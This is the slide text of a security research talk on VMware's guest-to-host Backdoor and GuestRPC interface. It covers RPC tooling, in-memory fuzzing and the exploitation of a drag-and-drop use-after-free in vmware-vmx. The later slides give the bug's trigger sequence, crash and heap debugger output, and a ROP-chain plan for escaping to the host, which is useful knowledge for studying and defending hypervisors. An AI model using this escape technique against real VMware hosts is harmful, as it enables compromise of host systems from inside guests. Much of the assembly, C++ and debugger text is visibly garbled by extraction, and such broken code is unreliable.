

LEVERAGING VMWARE'S RPC INTERFACE FOR FUN AND PROFIT



Agenda

- Introduction
- VMware General Architecture (Simplified)
- Host <-> Guest Communication
 - Backdoor Interface
- VM RPC Interface
 - Functions
 - Recording Guest -> Host RPC requests
- Developing tools to query the RPC Interface
 - C++
 - Python
 - C Extension
 - CTypes
- VMware UAF Exploitation
 - Controlling Freed Objects
 - Finding Exploit primitives
 - Demo
- Conclusion



Introductions



Abdul-Aziz Hariri

- BS in Computer Sciences University of Balamand
- Currently a Senior Security Researcher at ZDI
 - Root Cause analysis / Vulnerability Research / Exploit development
 - ZDI Case Lead
 - Pwn2Own Preparation / Judging entries
- Past Experiences
 - Bits Arabia, Insight-Tech and Morgan Stanley
- Past research:
 - Pwn4Fun 2014 renderer exploit writer
 - Microsoft Bounty submission
 - Patents on Exploit Mitigation Technologies
 - Adobe Reader research
- Twitter: @abdhariri





Jasiel Spelman

- BA in Computer Science University of Texas at Austin
- Currently a Senior Security Researcher at ZDI
 - Root Cause analysis / Vulnerability Research / Exploit development
 - ZDI Research Lead
 - Pwn2Own Invigilator
- Past Experiences
 - TippingPoint Digital Vaccine team
- Past research:
 - Pwn4Fun 2014 sandbox escape exploit writer
 - Patents on zero day protection technologies
 - Windows kernel information leaks
 - Adobe Flash RE & RCE vulnerabilities
- Twitter: @WanderingGlitch





Brian Gorenc

- BS in Computer Engineering Texas A&M University
- MS in Software Engineering Southern Methodist University
- Director of Vulnerability Research at Trend Micro
 - Leads the Zero Day Initiative
 - Organizes Pwn2Own
 - Approver of Payments
- Past Experiences
 - Lead Developer at Lockheed Martin
- Past research:
 - Microsoft Bounty submission
 - Patents on Exploit Mitigation Technologies
 - Bug hunting in many products
- Twitter: @MaliciousInput





VMware General Architecture



VMware General Architecture (Simplified*)







Good Question

- As it turns out, quite a bit
- Regardless of whether VMware tools are installed



Host <-> Guest Communication



Host <-> Guest Communication

- Communication is done by accessing special I/O ports
- VMware implements an interface called "Backdoor"
 - Hijacks the IN/OUT instructions
 - Supports multiple commands
 - Supports two protocols: RPCI and TCLO
 - Can be used to extract host information
 - Can be used to send Guest->Host RPC requests
- The Backdoor interface is enabled by default



Host <-> Guest Communication - Backdoor

- Supports multiple commands/functions
 - The commands can be found in the open-vm-tools on github
 - backdoor_def.h defines these commands
- The guest can invoke more of these commands than you think...

define	BDOOR_CMD_APMFUNCTION	2 /* CPL0 only. */
define	BDOOR_CMD_GETDISKGEO	3
define	BDOOR_CMD_GETPTRLOCATION	4
define	BDOOR_CMD_SETPTRLOCATION	5
define	BDOOR_CMD_GETSELLENGTH	6
define	BDOOR_CMD_GETNEXTPIECE	7
define	BDOOR_CMD_SETSELLENGTH	8
define	BDOOR_CMD_SETNEXTPIECE	9
define	BDOOR_CMD_GETVERSION	10
define	BDOOR_CMD_GETDEVICELISTELEMENT	11
define	BDOOR_CMD_TOGGLEDEVICE	12
define	BDOOR_CMD_GETGUIOPTIONS	13
define	BDOOR_CMD_SETGUIOPTIONS	14
define	BDOOR_CMD_GETSCREENSIZE	15
define	BDOOR_CMD_MONITOR_CONTROL	16 /* Disabled by default. */
define	BDOOR_CMD_GETHWVERSION	17



=/

• Invoking Backdoor functions is simple:

```
#ifndef BACKDOOR DEF H
                                                            #define BACKDOOR DEF H
           564D5868h /* magic number
                                                 */
mov eax
                                                            #define INCLUDE_ALLOW_MODULE
mov ebx
           command-specific-parameter
                                                            #define INCLUDE ALLOW USERLEVEL
           command-number /* 1001e = RPC */
MOV CX
           5658h /* VMware I/O port */
mov dx
                                                            #define INCLUDE_ALLOW_VMCORE
                                                            #define INCLUDE_ALLOW_VMKERNEL
in
           dx
    eax
                                                            #include "includeCheck.h"
                                                             -
```

If you want to add a new low-level backdoor call * application, please consider using the GuestRpc m #/

#define BDOOR_MAGIC 0x564D5868

/* Low-bandwidth backdoor port. --hpreg */



Host <-> Guest Communication - Backdoor





Host <-> Guest Communication - RPCI

- Supports multiple commands
 - Rpctool.exe can be used to query some of the commands.
 - Rpctool.exe is open source and can be found in the open-vm-tools
 - These RPC commands can be found in vmwarevmx.exe and sprinkled throughout the open-vmtools source

C:\Program Files\VMware\VMware Tools>rpctool.exe rpctool syntax:

rpctool <text>

C:\Program Files\VMware\VMware Tools>rpctool.exe "vmx.capability.tools_is_upgradable"

C:\Program Files\VMware\VMware Tools>_



Host <-> Guest Communication - RPCI

		~	coordination and the second
's' .rdata:000000	00000026	С	tools.capability.guest_conf_directory
's' .rdata:0000000	00000026	С	tools.capability.guest_temp_directory
's' .rdata:000000	0000001E	С	tools.capability.auto_upgrade
's' .rdata:000000	0000001A	С	tools.capability.open_url
's' .rdata:0000000	0000001D	С	tools.capability.hgfs_server
's' .rdata:000000	0000001D	С	tools.capability.printer_set
's' .rdata:000000	0000001A	С	tools.capability.features
's' .rdata:000000	0000001F	С	tools.capability.unity.taskbar
's' .rdata:000000	00000017	С	tools.capability.unity
's' .rdata:0000000	0000027	С	tools.capability.display_global_offset
's' .rdata:000000	00000026	С	tools.capability.display_topology_set
's' .rdata:000000	00000020	С	tools.capability.resolution_min
L 0000000	00000001	<u>^</u>	1 I I I I I I I I

```
lea r9, sub_140088360
lea r8, aTools_capab_17 ; "tools.capability.dnd_version"
lea rdx, aGuestdndversio ; "guestDnDVersionSetDisable"
mov ecx, 29h
mov [rsp+38h+var_18], rdi
call sub_140068250
```



Host <-> Guest Communication – Summary

- Backdoor Interface is used for Host/Guest communication
- Hijacks in/out instructions
- RPCI is used from guest -> host
- TCLO is used from host -> guest
- RPCI commands can be found in vmware-vmx{.exe}
- open-vm-tools is a goldmine!



VM RPC Interface



GuestRPC

- The RPC requests are sent through the "backdoor" channel
- Specifically, the BDOOR_CMD_MESSAGE (0x1E)

//#define BDOOR_CMD_INT13 29 /* Not in use. */
#define BDOOR_CMD_MESSAGE 30

- The Guest Messages are defined in guest_msg_def.h
- GuestRPC supports multiple message types:





GuestRPC

• Example of a simple GuestRPC message:

mov eax, 0x564D5868 mov ecx, 0x001e //MESSAGE_TYPE_OPEN mov edx, 0x5658 mov ebx, 0xC9435052 in eax, dx

mov eax, 0x564D5868 **mov ecx, 0x1001e //MESSAGE_TYPE_SENDSIZE** mov edx, 0x5658 mov ebx, SIZE in eax, dx mov eax, 0x564D5868 **mov ecx, 0x6001e //MESSAGE_TYPE_CLOSE** mov edx, 0x5658 mov ebx, SIZE in eax, dx



GuestRPC

- GuestRPC requests are are parsed within vmware-vmx{.exe}
- GuestRPC Messages/Functions are also implemented inside vmware-vmx{.exe}

```
.rdata:0000000140773FA7
                                        db
                                              ю
                                        dq offset aGuestrpc ; "GuestRpc"
.rdata:0000000140773FA8
                                        dq offset GuestRPC Funcs
.rdata:0000000140773FB0
.rdata:0000000140773FB8
                                        align 20h
                                        dq offset aDiskbackdoor ; "DiskBackdoor"
.rdata:0000000140773FC0
                                        dq offset DiskBackdoor Funcs
.rdata:0000000140773FC8
.rdata:000000140773FD0
                                        db
                                              ø
```

• If we look closely inside GuestRPC_Funcs we will notice the following:

sub_14008BC90(0, 'ICPR', 0i64, 0i64, ExecRPCRequest, 0i64, nullsub_1, 0i64, 1u);



GuestRPC – ExecRPCRequest

- The function takes the RPC request as an argument
- Checks if the RPC function being passed is valid
- Checks if we have enough permissions to execute the function
- Executes it



GuestRPC – Sniffing RPC Requests

- Since this is exactly where RPC requests are parsed, we can actually hook this function and sniff the requests being sent
- For this task we used pykd 🙂
 - Set a breakpoint on the ExecRPCRequest function
 - A pointer pointing to the request is set in the r8 register
 - The length of the request is set in the r9 register
- Should look similar to the following

```
def BreakpointHandler(self):
    print "[x] Request Length: %d." % pykd.reg('r9')
    _bytes = pykd.loadBytes(pykd.reg('r8'),pykd.reg('r9'))
    self.OutPutBytes(_bytes)
    if self._type == 2:
        self.ModifyRequest(pykd.reg('r8'),pykd.reg('r9'))
    _bytes = pykd.loadBytes(pykd.reg('r8'),pykd.reg('r9'))
    self.OutPutBytes(_bytes)
```



GuestRPC – Sniffing RPC Requests - DEMO

• DEMO



Developing tools to query the RPC Interface



Tools Dev

- One of the challenging problems with VMware and RPC is tools development for:
 - Case analysis
 - Exploit development
 - Fuzzing
- While we can definitely use the open-vm-tools to develop tools in C++, there are still challenges:
 - There are functions that definitely needs to be implemented in ASM
 - Without ASM we'll need to use the exports from vmtools.dll
- Still a little bit of a hustle



Tools Dev - C++, take 1

• Add the open-vm-tools headers to the Include Directories

```
typedef RpcOut *(CALLBACK* RConstruct)();
 typedef Bool(CALLBACK* RStart)(RpcOut *);
 typedef Bool(CALLBACK* RStop)(RpcOut *);
 typedef Bool(CALLBACK* RSend)(RpcOut *, const char *, size t, Bool *, const char **, size t *);
 typedef Bool(CALLBACK *rpcOutSendOneRaw)(void *request, size t reqLen, char **reply, size t *repLen);
⊡int main()
     Bool ret:
     RpcOut *rpcOut;
     HMODULE vmTools = LoadLibrary(L"vmtools.dll");
     RConstruct RpcConstruct = (RConstruct)GetProcAddress(vmTools, "RpcOut Construct");
     RStart RpcStart = (RStart)GetProcAddress(vmTools, "RpcOut start");
     RSend RpcSend = (RSend)GetProcAddress(vmTools, "RpcOut send");
     RStop RpcStop = (RStop)GetProcAddress(vmTools, "RpcOut_stop");
     rpcOutSendOneRaw RpcOutSendOneRaw = (rpcOutSendOneRaw)GetProcAddress(vmTools, "RpcOut SendOneRaw");
```



Tools Dev - C++, take 2

 Assembly..Since some function are not fully implemented in the tools, thus in order to step out of the vmtools.dll we'd need to implement some functions in ASM

<pre>declspec(naked</pre>	<pre>) void Backdoor_InOut(Backdoor_proto *myBp) // IN/OU</pre>
{	
uintsz dumm	y;
asm {	
push	ebp
mov	ebp, esp
push	ebx
push	esi
push	edi
mov	eax, [ebp + 8]
push	eax
mov	edi, [eax + 14h]
mov	esi, [eax + 10h]
mov	edx, [eax + 0Ch]
mov	ecx, [eax + 8]
mov	ebx, [eax + 4]
mov	eax, [eax]
1n	eax, dx
xchg	eax, [esp]
mov[eax	+ 14h], ed1
mov[eax	+ 10nj, esi
movleax	+ UCNJ, eax
mov[eax	+ 6], eCX
non	dword striesv]
pop	edi
non	esi
non	ebx
non	ebn
retn	
}	
}	



Tools Dev - C++, take 2, continued

 As for implementing a function to send RPC requests through the backdoor channel in ASM, it should be pretty simple

<pre>clspec(naked) void rpc_send(uint8_t *msg, uint32_t size){</pre>
_asm
pushad
mov eax, 564D5868h
mov ecx, 1Eh
mov edx, 5658h
mov ebx, 0C9435052h
in eax, ax
mov eav 56/05868b
mov ecx 1001Eh
mov dx. 5658h
mov ebx, [esp + 28h]
in eax, dx
mov eax, 564D5868h
mov ecx, [esp + 28h]
mov ebx, 10000h
mov ebp, esi
mov dx, 5659h
mov esi, [esp + 24h]
cld
rep outs dx, byte ptr es : [ed1]
mov eax, 56405868n
mov etc, bobobbien
mov esi ebo
in eav dy
nonad
popua
ret

Tools Dev

- All that is still not enough
- We need something for FAST tools development
- Python? Yup, we implemented simple ways to send RPC requests through python:
 - C Extensions
 - Ctypes
- Unfortunately, Josh (@kernelsmith) (our DevOps manager) wanted to implement something similar in Ruby.



Tools Dev – Python, C Extensions

- C Extensions are awesome
- It's a shared Library (.pyd) on Windows which exports an initialization function
- The shared library can be imported from python



Tools Dev – Python, C Extensions

```
static PyMethodDef MyMethods[] =
                                                                             static PyObject* py_rpc_send(PyObject* self, PyObject* args)
⊡{
     {"rpc_send", py_rpc_send, METH_VARARGS, NULL},
                                                                                  uint8 t *msg=NULL;
     {"rpc_send_unclose", py_rpc_send_unclose, METH_VARARGS, NULL},
                                                                                  int sz=0;
     {NULL, NULL, 0, NULL}
                                                                                  if (!PyArg_ParseTuple(args, "z#",&msg,&sz)){
};
                                                                                  printf("[x] FAILED!.\n");
                                                                                      return NULL;
PyMODINIT_FUNC initRPCSend(void)
                                                                                  rpc_send(msg,sz);
     (void) Py_InitModule("RPCSend", MyMethods);
                                                                                  Py_RETURN_NONE;
}
```



Tools Dev – Python, CTypes

- Ctypes provides C compatible data types
- Allows calling functions in DLLs or shared libraries



Fuzzing the RPC Interface



Fuzzing the RPC Interface

- Fuzzing the RPC interface requires tooling both on the GuestOS and the HostOS
- Some problems that we'd need to tackle:
 - Detecting Crashes from the host (Mostly debugging vmware-vmx in this case)
 - Testcase generation (can be on the GuestOS but we want the guest to stay light)
 - GuestOS VM(s) management from the HostOS



Fuzzing the RPC Interface





Fuzzing the RPC Interface - InMemory

- Since we know exactly were the RPC requests are being parsed, we can actually do InMemory fuzzing:
 - Hook ExecRPCRequest (on the HostOS)
 - Modify the RPC request before it gets parsed
 - Wait for crashes
- Additional tooling required:
 - Crash Detection (From HostOS)
 - Record modifications (From the HostOS)



Fuzzing the RPC Interface - InMemory

DEMO



VMware Drag and Drop UAF



VMware DnD UAF – Root Cause

- The Free is triggered when the DnD version is changed multiple times
- The re-use happens when a random DnD function is called after the Free
- The PoC is relatively simple:

tools.capability.dnd_version 2
vmx.capability.dnd_version
tools.capability.dnd_version 3
vmx.capability.dnd_version
dnd.setGuestFileRoot AAAAA //Technically any DnD function would work.



VMware DnD UAF – Root Cause

 If triggered successfully we should end up in a crash similar to the following:

To verify further,
 !heap -p -a @RCX will
 show us where the
 Free happened:

0:016> r rax=00000006ca679f8 rbx=00000000000006e rcx=000000029c96f40 rdx=00000006ca67a08 rsi=000000140b160f8 rdi=000000070c77ecd rip=00000014002d0da rsp=00000006ca67990 rbp=0000000070c77ec0 r8=000000070c77ecd r9=00000000000131 r10=e07360632d636d63 r11=8101010101010100 r12=000000000000000 r13=0000000000000000 r14=000000013ff90000 r15=0000000000000000 nv up ei pl nz na pe nc iopl=0 cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00010202 vmware vmx+0x9d0da: 00000001^{4002d0da} 488b01 rax, qword ptr [rcx] mov 0:016> address 0000000029c96f40 found in

DPH HEAP ROOT @ 3e21000 in free-ed allocation (DPH HEAP BLOCK: VirtSize) VirtAddr 2ad15270: 29c96000 2000 000007fef4c98726 verifier!VerifierDisableFaultInjectionExclusionRange+0x0000000000234e 0000000077b84255 ntdll!RtlLogStackBackTrace+0x0000000000022d5 000000077b2797c ntdll!TpAlpcRegisterCompletionList+0x000000000000599c 00000000779c1a0a kernel32!HeapFree+0x000000000000000a 00000000754bcabc MSVCR90!free+0x000000000000001c 0000000140032d37 vmware vmxlopus repacketizer get nb frames+0x000000000002327 000000014002c41d vmware vmx+0x0000000000009c41d 000000014000a52e vmware vmx+0x00000000007a52e 0000000140013f60 vmware vmx+0x000000000083f60



VMware DnD UAF – Root Cause

- Next, we will need to get the size of the Free'd object
- In order to do that, we will need to break right before the Free happens and run !heap -p -a on the address before it gets Freed

```
0:012> lheap -p -a rcx
    address 00000000713c4f40 found in
    DPH HEAP ROOT @ 3ce1000
   in busy allocation ( DPH HEAP BLOCK:
                                                  UserAddr
                                                                   UserSize -
VirtAddr
                 VirtSize)
                                6f598f70:
                                                  713c4f40
                                                                         b8 -
713c4000
                     2000
          ? vmware_vmxlopus_get_version_string+7ca40
   000007fef8b28513 verifier!AVrfDebugPageHeapAllocate+0x00000000000026f
   000000077b919c1 ntdll!RtlDebugAllocateHeap+0x0000000000000031
   000000077b2c985 ntdll1RtlpAllocateHeap+0x000000000000114
   0000000077b0ddd8 ntdll!RtlAllocateHeap+0x000000000000016c
    0000000754bcb87 MSVCR901malloc+0x000000000000005b
   0000000140194a9f vmware vmxlopus repacketizer get nb frames+0x00000000033408f
   000000013fe5c4fa vmware vmx+0x0000000000009c4fa
   000000013fe3a62f vmware vmx+0x0000000000007a62f
   000000013fe43f60 vmware vmx+0x0000000000083f60
   000000013fe29446 vmware vmx+0x0000000000069446
   000000013fe4bb86 vmware vmx+0x00000000008bb86
```



VMware DnD UAF – Exploiting the vulnerability

- First we will need to find a way to control the Freed object before it gets re-used
- This can be done by sending an arbitrary GuestRPC request through the backdoor channel
- For example through the tools.capability.guest_temp_directory RPC function

(101c.cb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\Program Files (x86)\VMware\VMware Workstation\x64\vmware-vmx.exe -

vmware vmx+0x9d0e2:

	AUMOTO AUTUON 20001			
	00000001 3f55d0e2	ff5008	call	gword ptr [rax+8]
	ds:41414141~41410	0a6=???????	?????????	
	0:016> ub @rip			
	vmware vmx+0x9d0ca	a :		
	00000001 3f55d0ca	7419	ie	vmware vmx+0x9d0e5 (00000001~3f55d0e5
	00000001 3f55d0cc	4d85c9	test	r9,r9
	0000001 ³ f55d0cf	7414	je	vmware vmx+0x9d0e5 (00000001~3f55d0e5
	00000001~3£55d0d1	48864920	mov	rex, gword ptr [rex+20h]
	00000001 3f55d0d5	4885c9	test	rcx, rcx
	00000001 3f55d0d8	740b	je	vmware vmx+0x9d0e5 (00000001~3f55d0e5
	0000001 3f55d0da	488601	mov	rax, gword ptr [rcx]
	00000001~3f55d0dd	ba18000000	mov	edx,18h
	0:016> dd rcx			
	00000000°0375b2a0	4141009e	41414141 41414	4141 41414141
1	0000000 03755250	41414141	41414141 41414	141 41414141
	0000000°0375b2c0	41414141	41414141 41414	141 41414141
	0000000°0375b2d0	41414141	41414141 41414	141 41414141
	0000000°0375b2e0	41414141	41414141 41414	141 41414141
	0000000°0375b2f0	41414141	41414141 41414	4141 41414141
	0000000°0375b300	41414141	41414141 41414	141 41414141
	00000000 03755310	41414141	41414141 41414	141 41414141
	0:016>			



VMware DnD UAF – Exploiting the vulnerability

- Next question is where should I put my ROP chain? Should I heap spray?
- The answer was in the unity.window.contents.start RPC function

🗾 🚄 🖼			
0000000140085C21			
0000000140085C21	loc_1400	085C21:	
0000000140085C21	mov	eax, [rbx]	
0000000140085C23	mov	ecx, [rbx+0Ch]	
0000000140085C26	mov	cs:dword_140B8C15C, esi	
0000000140085C2C	mov	cs:dword_140B8C158, eax	
0000000140085C32	mov	eax, [rbx+4]	
0000000140085C35	mov	cs:dword_140B8C168, ecx	
0000000140085C3B	mov	cs:dword_140B8C160, eax	
0000000140085C41	mov	eax, [rbx+8]	
0000000140085C44	mov	cs:dword_140B8C164, eax	
0000000140085C4A	call	Malloc_wrapper	
0000000140085C4F	mov	<pre>rdx, [rsp+38h+arg_28]</pre>	
0000000140085C54	mov	<pre>rcx, [rsp+38h+arg_20]</pre>	
0000000140085C59	lea	r8, byte_140761EF3	
0000000140085C60	mov	r9b, 1	
0000000140085C63	mov	cs:qword_140B8C178, rax	
0000000140085C6A	mov	cs:qword_140B8C170, rax	
0000000140085C71	call	outputMsg	
0000000140085C76	movzx	edi, al	
0000000140085C79	jmp	short loc_140085C9D	



VMware DnD UAF – Exploiting the vulnerability

- What does the plan of action look like now?
 - Send a unity.window.contents.start request with a ROP chain that sets RSP to RDI.
 - Trigger the free.
 - Overwrite the freed object with another one. The freed object should contain the address of vmware_vmx+0xb870f8.
 - Trigger the re-use using a request that contains the ROP chain to gain RCE.
- There is an RWX region in vmware-vmx, so you know what the ROP chain should do;)





VMware DnD UAF





Conclusion





